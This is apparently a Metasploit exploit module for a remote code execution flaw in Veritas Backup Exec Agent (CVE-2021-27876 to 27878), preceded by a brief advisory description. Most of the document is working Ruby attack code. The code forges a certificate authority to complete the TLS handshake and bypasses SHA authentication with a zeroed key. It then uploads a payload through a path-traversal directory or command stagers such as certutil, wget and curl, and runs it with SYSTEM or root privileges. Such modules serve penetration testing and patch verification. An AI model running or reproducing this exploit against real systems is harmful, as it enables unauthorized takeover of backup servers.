Headline
Veritas Backup Exec Agent Remote Code Execution
Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them. This authentication scheme is no longer used within Backup Exec versions, but had not yet been disabled. An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges depending on the platform. The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and including Backup Exec Remote Agent revision 9.3).
# frozen_string_literal: true### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::NDMPSocket include Msf::Exploit::CmdStager include Msf::Exploit::EXE prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Veritas Backup Exec Agent Remote Code Execution', 'Description' => %q{ Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them. This authentication scheme is no longer used within Backup Exec versions, but hadn’t yet been disabled. An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges depending on the platform. The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and including Backup Exec Remote Agent revision 9.3) }, 'License' => MSF_LICENSE, 'Author' => ['Alexander Korotin <0xc0rs[at]gmail.com>'], 'References' => [ ['CVE', '2021-27876'], ['CVE', '2021-27877'], ['CVE', '2021-27878'], ['URL', 'https://www.veritas.com/content/support/en_US/security/VTS21-001'] ], 'Platform' => %w[win linux], 'Targets' => [ [ 'Windows', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'CmdStagerFlavor' => %w[certutil vbs psh_invokewebrequest debug_write debug_asm] } ], [ 'Linux', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'CmdStagerFlavor' => %w[bourne wget curl echo] } ] ], 'DefaultOptions' => { 'RPORT' => 10_000 }, 'Privileged' => true, 'DisclosureDate' => '2021-03-01', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => [UNRELIABLE_SESSION], 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('SHELL', [true, 'The shell for executing OS command', '/bin/bash'], conditions: ['TARGET', '==', 'Linux']) ]) deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH') end def execute_command(cmd, opts = {}) case target.opts['Platform'] when 'win' wrap_cmd = "C:\\Windows\\System32\\cmd.exe /c \"#{cmd}\"" when 'linux' wrap_cmd = "#{datastore['SHELL']} -c \"#{cmd}\"" end ndmp_sock = opts[:ndmp_sock] ndmp_sock.do_request_response( NDMP::Message.new_request( NDMP_EXECUTE_COMMAND, NdmpExecuteCommandReq.new({ cmd: wrap_cmd, unknown: 0 }).to_xdr ) ) end def exploit print_status('Exploiting ...') ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect fail_with(Msf::Module::Failure::NotFound, "Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status ndmp_status, msg_fail_reason = tls_enabling(ndmp_sock) fail_with(Msf::Module::Failure::UnexpectedReply, "Can not establish TLS connection. #{msg_fail_reason}") unless ndmp_status ndmp_status, msg_fail_reason = sha_authentication(ndmp_sock) fail_with(Msf::Module::Failure::NotVulnerable, "Can not authenticate with SHA. #{msg_fail_reason}") unless ndmp_status if target.opts['Platform'] == 'win' filename = "#{rand_text_alpha(8)}.exe" ndmp_status, msg_fail_reason = win_write_upload(ndmp_sock, filename) if ndmp_status ndmp_status, msg_fail_reason = exec_win_command(ndmp_sock, filename) fail_with(Msf::Module::Failure::PayloadFailed, "Can not execute payload. #{msg_fail_reason}") unless ndmp_status else print_status('Can not upload payload with NDMP_FILE_WRITE packet. Trying to upload with CmdStager') execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 }) end else print_status('Uploading payload with CmdStager') execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 }) end end def check print_status('Checking vulnerability') ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect return Exploit::CheckCode::Unknown("Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status print_status('Getting supported authentication types') ndmp_msg = ndmp_sock.do_request_response( NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO) ) ndmp_payload = NdmpConfigGetServerInfoRes.from_xdr(ndmp_msg.body) print_status("Supported authentication by BE agent: #{ndmp_payload.auth_types.map do |k, _| "#{AUTH_TYPES[k]} (#{k})" end.join(', ')}") print_status("BE agent revision: #{ndmp_payload.revision}") if ndmp_payload.auth_types.include?(5) Exploit::CheckCode::Appears('SHA authentication is enabled') else Exploit::CheckCode::Safe('SHA authentication is disabled') end end def ndmp_connect print_status('Connecting to BE Agent service') ndmp_msg = nil begin ndmp_sock = NDMP::Socket.new(connect) rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused => e return [false, nil, e.to_s] end begin Timeout.timeout(datastore['ConnectTimeout']) do ndmp_msg = ndmp_sock.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED) end rescue Timeout::Error return [false, nil, 'No NDMP_NOTIFY_CONNECTED (0x502) packet from BE Agent service'] else ndmp_payload = NdmpNotifyConnectedRes.from_xdr(ndmp_msg.body) end ndmp_msg = ndmp_sock.do_request_response( NDMP::Message.new_request( NDMP::Message::CONNECT_OPEN, NdmpConnectOpenReq.new({ version: ndmp_payload.version }).to_xdr ) ) ndmp_payload = NdmpConnectOpenRes.from_xdr(ndmp_msg.body) unless ndmp_payload.err_code.zero? return [false, ndmp_sock, "Error code of NDMP_CONNECT_OPEN (0x900) packet: #{ndmp_payload.err_code}"] end [true, ndmp_sock, nil] end def tls_enabling(ndmp_sock) print_status('Enabling TLS for NDMP connection') ndmp_tls_certs = NdmpTlsCerts.new('VeritasBE', datastore['RHOSTS'].to_s) ndmp_tls_certs.forge_ca ndmp_msg = ndmp_sock.do_request_response( NDMP::Message.new_request( NDMP_SSL_HANDSHAKE, NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_REQ])).to_xdr ) ) ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body) unless ndmp_payload.err_code.zero? return [false, "Error code of SSL_HANDSHAKE_CSR_REQ (2) packet: #{ndmp_payload.err_code}"] end ndmp_tls_certs.sign_agent_csr(ndmp_payload.data) ndmp_msg = ndmp_sock.do_request_response( NDMP::Message.new_request( NDMP_SSL_HANDSHAKE, NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED])).to_xdr ) ) ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body) unless ndmp_payload.err_code.zero? return [false, "Error code of SSL_HANDSHAKE_CSR_SIGNED (3) packet: #{ndmp_payload.err_code}"] end ndmp_msg = ndmp_sock.do_request_response( NDMP::Message.new_request( NDMP_SSL_HANDSHAKE, NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CONNECT])).to_xdr ) ) ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body) unless ndmp_payload.err_code.zero? return [false, "Error code of SSL_HANDSHAKE_CONNECT (4) packet: #{ndmp_payload.err_code}"] end ssl_context = OpenSSL::SSL::SSLContext.new ssl_context.add_certificate(ndmp_tls_certs.ca_cert, ndmp_tls_certs.ca_key) ndmp_sock.wrap_with_ssl(ssl_context) [true, nil] end def sha_authentication(ndmp_sock) print_status('Passing SHA authentication') ndmp_msg = ndmp_sock.do_request_response( NDMP::Message.new_request( NDMP_CONFIG_GET_AUTH_ATTR, NdmpConfigGetAuthAttrReq.new({ auth_type: 5 }).to_xdr ) ) ndmp_payload = NdmpConfigGetAuthAttrRes.from_xdr(ndmp_msg.body) unless ndmp_payload.err_code.zero? return [false, "Error code of NDMP_CONFIG_GET_AUTH_ATTR (0x103) packet: #{ndmp_payload.err_code}"] end ndmp_msg = ndmp_sock.do_request_response( NDMP::Message.new_request( NDMP::Message::CONNECT_CLIENT_AUTH, NdmpConnectClientAuthReq.new( { auth_type: 5, username: 'Administrator', # Doesn't metter hash: Digest::SHA256.digest("\x00" * 64 + ndmp_payload.challenge) } ).to_xdr ) ) ndmp_payload = NdmpConnectClientAuthRes.from_xdr(ndmp_msg.body) unless ndmp_payload.err_code.zero? return [false, "Error code of NDMP_CONECT_CLIENT_AUTH (0x901) packet: #{ndmp_payload.err_code}"] end [true, nil] end def win_write_upload(ndmp_sock, filename) print_status('Uploading payload with NDMP_FILE_WRITE packet') ndmp_msg = ndmp_sock.do_request_response( NDMP::Message.new_request( NDMP_FILE_OPEN_EXT, NdmpFileOpenExtReq.new( { filename: filename, dir: '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp', mode: 4 } ).to_xdr ) ) ndmp_payload = NdmpFileOpenExtRes.from_xdr(ndmp_msg.body) unless ndmp_payload.err_code.zero? return [false, "Error code of NDMP_FILE_OPEN_EXT (0xf308) packet: #{ndmp_payload.err_code}"] end hnd = ndmp_payload.handler exe = generate_payload_exe offset = 0 block_size = 2048 while offset < exe.length ndmp_msg = ndmp_sock.do_request_response( NDMP::Message.new_request( NDMP_FILE_WRITE, NdmpFileWriteReq.new({ handler: hnd, len: block_size, data: exe[offset, block_size] }).to_xdr ) ) ndmp_payload = NdmpFileWriteRes.from_xdr(ndmp_msg.body) unless ndmp_payload.err_code.zero? return [false, "Error code of NDMP_FILE_WRITE (0xF309) packet: #{ndmp_payload.err_code}"] end offset += block_size end ndmp_msg = ndmp_sock.do_request_response( NDMP::Message.new_request( NDMP_FILE_CLOSE, NdmpFileCloseReq.new({ handler: hnd }).to_xdr ) ) ndmp_payload = NdmpFileCloseRes.from_xdr(ndmp_msg.body) unless ndmp_payload.err_code.zero? return [false, "Error code of NDMP_FILE_CLOSE (0xF306) packet: #{ndmp_payload.err_code}"] end [true, nil] end def exec_win_command(ndmp_sock, filename) cmd = "C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\Temp\\#{filename}\"" ndmp_msg = ndmp_sock.do_request_response( NDMP::Message.new_request( NDMP_EXECUTE_COMMAND, NdmpExecuteCommandReq.new({ cmd: cmd, unknown: 0 }).to_xdr ) ) ndmp_payload = NdmpExecuteCommandRes.from_xdr(ndmp_msg.body) unless ndmp_payload.err_code.zero? return [false, "Error code of NDMP_EXECUTE_COMMAND (0xF30F) packet: #{ndmp_payload.err_code}"] end [true, nil] end # Class to create CA and client certificates class NdmpTlsCerts def initialize(hostname, ip) @hostname = hostname @ip = ip @ca_key = nil @ca_cert = nil @be_agent_cert = nil end SSL_HANDSHAKE_TYPES = { SSL_HANDSHAKE_TEST_CERT: 1, SSL_HANDSHAKE_CSR_REQ: 2, SSL_HANDSHAKE_CSR_SIGNED: 3, SSL_HANDSHAKE_CONNECT: 4 }.freeze attr_reader :ca_cert, :ca_key def forge_ca @ca_key = OpenSSL::PKey::RSA.new(2048) @ca_cert = OpenSSL::X509::Certificate.new @ca_cert.version = 2 @ca_cert.serial = rand(2**32..2**64 - 1) @ca_cert.subject = @ca_cert.issuer = OpenSSL::X509::Name.parse("/CN=#{@hostname}") extn_factory = OpenSSL::X509::ExtensionFactory.new(@ca_cert, @ca_cert) @ca_cert.extensions = [ extn_factory.create_extension('subjectKeyIdentifier', 'hash'), extn_factory.create_extension('basicConstraints', 'CA:TRUE'), extn_factory.create_extension('keyUsage', 'keyCertSign, cRLSign') ] @ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always')) @ca_cert.public_key = @ca_key.public_key @ca_cert.not_before = Time.now - 7 * 60 * 60 * 24 @ca_cert.not_after = Time.now + 14 * 24 * 60 * 60 @ca_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256')) end def sign_agent_csr(csr) o_csr = OpenSSL::X509::Request.new(csr) @be_agent_cert = OpenSSL::X509::Certificate.new @be_agent_cert.version = 2 @be_agent_cert.serial = rand(2**32..2**64 - 1) @be_agent_cert.not_before = Time.now - 7 * 60 * 60 * 24 @be_agent_cert.not_after = Time.now + 14 * 24 * 60 * 60 @be_agent_cert.issuer = @ca_cert.subject @be_agent_cert.subject = o_csr.subject @be_agent_cert.public_key = o_csr.public_key @be_agent_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256')) end def default_sslpacket_content(ssl_packet_type) if ssl_packet_type == SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED] ca_cert = @ca_cert.to_s agent_cert = @be_agent_cert.to_s else ca_cert = '' agent_cert = '' end { ssl_packet_type: ssl_packet_type, hostname: @hostname, nb_hostname: @hostname.upcase, ip_addr: @ip, cert_id1: get_cert_id(@ca_cert), cert_id2: get_cert_id(@ca_cert), unknown1: 0, unknown2: 0, ca_cert_len: ca_cert.length, ca_cert: ca_cert, agent_cert_len: agent_cert.length, agent_cert: agent_cert } end def get_cert_id(cert) Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack1('L<') end end NDMP_CONFIG_GET_AUTH_ATTR = 0x103 NDMP_SSL_HANDSHAKE = 0xf383 NDMP_EXECUTE_COMMAND = 0xf30f NDMP_FILE_OPEN_EXT = 0xf308 NDMP_FILE_WRITE = 0xF309 NDMP_FILE_CLOSE = 0xF306 AUTH_TYPES = { 1 => 'Text', 2 => 'MD5', 3 => 'BEWS', 4 => 'SSPI', 5 => 'SHA', 190 => 'BEWS2' # 0xBE }.freeze # Responce packets class NdmpNotifyConnectedRes < XDR::Struct attribute :connected, XDR::Int attribute :version, XDR::Int attribute :reason, XDR::Int end class NdmpConnectOpenRes < XDR::Struct attribute :err_code, XDR::Int end class NdmpConfigGetServerInfoRes < XDR::Struct attribute :err_code, XDR::Int attribute :vendor_name, XDR::String[] attribute :product_name, XDR::String[] attribute :revision, XDR::String[] attribute :auth_types, XDR::VarArray[XDR::Int] end class NdmpConfigGetHostInfoRes < XDR::Struct attribute :err_code, XDR::Int attribute :hostname, XDR::String[] attribute :os, XDR::String[] attribute :os_info, XDR::String[] attribute :ip, XDR::String[] end class NdmpSslHandshakeRes < XDR::Struct attribute :data_len, XDR::Int attribute :data, XDR::String[] attribute :err_code, XDR::Int attribute :unknown4, XDR::String[] end class NdmpConfigGetAuthAttrRes < XDR::Struct attribute :err_code, XDR::Int attribute :auth_type, XDR::Int attribute :challenge, XDR::Opaque[64] end class NdmpConnectClientAuthRes < XDR::Struct attribute :err_code, XDR::Int end class NdmpExecuteCommandRes < XDR::Struct attribute :err_code, XDR::Int end class NdmpFileOpenExtRes < XDR::Struct attribute :err_code, XDR::Int attribute :handler, XDR::Int end class NdmpFileWriteRes < XDR::Struct attribute :err_code, XDR::Int attribute :recv_len, XDR::Int attribute :unknown, XDR::Int end class NdmpFileCloseRes < XDR::Struct attribute :err_code, XDR::Int end # Request packets class NdmpConnectOpenReq < XDR::Struct attribute :version, XDR::Int end class NdmpSslHandshakeReq < XDR::Struct attribute :ssl_packet_type, XDR::Int attribute :nb_hostname, XDR::String[] attribute :hostname, XDR::String[] attribute :ip_addr, XDR::String[] attribute :cert_id1, XDR::Int attribute :cert_id2, XDR::Int attribute :unknown1, XDR::Int attribute :unknown2, XDR::Int attribute :ca_cert_len, XDR::Int attribute :ca_cert, XDR::String[] attribute :agent_cert_len, XDR::Int attribute :agent_cert, XDR::String[] end class NdmpConfigGetAuthAttrReq < XDR::Struct attribute :auth_type, XDR::Int end class NdmpConnectClientAuthReq < XDR::Struct attribute :auth_type, XDR::Int attribute :username, XDR::String[] attribute :hash, XDR::Opaque[32] end class NdmpExecuteCommandReq < XDR::Struct attribute :cmd, XDR::String[] attribute :unknown, XDR::Int end class NdmpFileOpenExtReq < XDR::Struct attribute :filename, XDR::String[] attribute :dir, XDR::String[] attribute :mode, XDR::Int end class NdmpFileWriteReq < XDR::Struct attribute :handler, XDR::Int attribute :len, XDR::Int attribute :data, XDR::String[] end class NdmpFileCloseReq < XDR::Struct attribute :handler, XDR::Int endend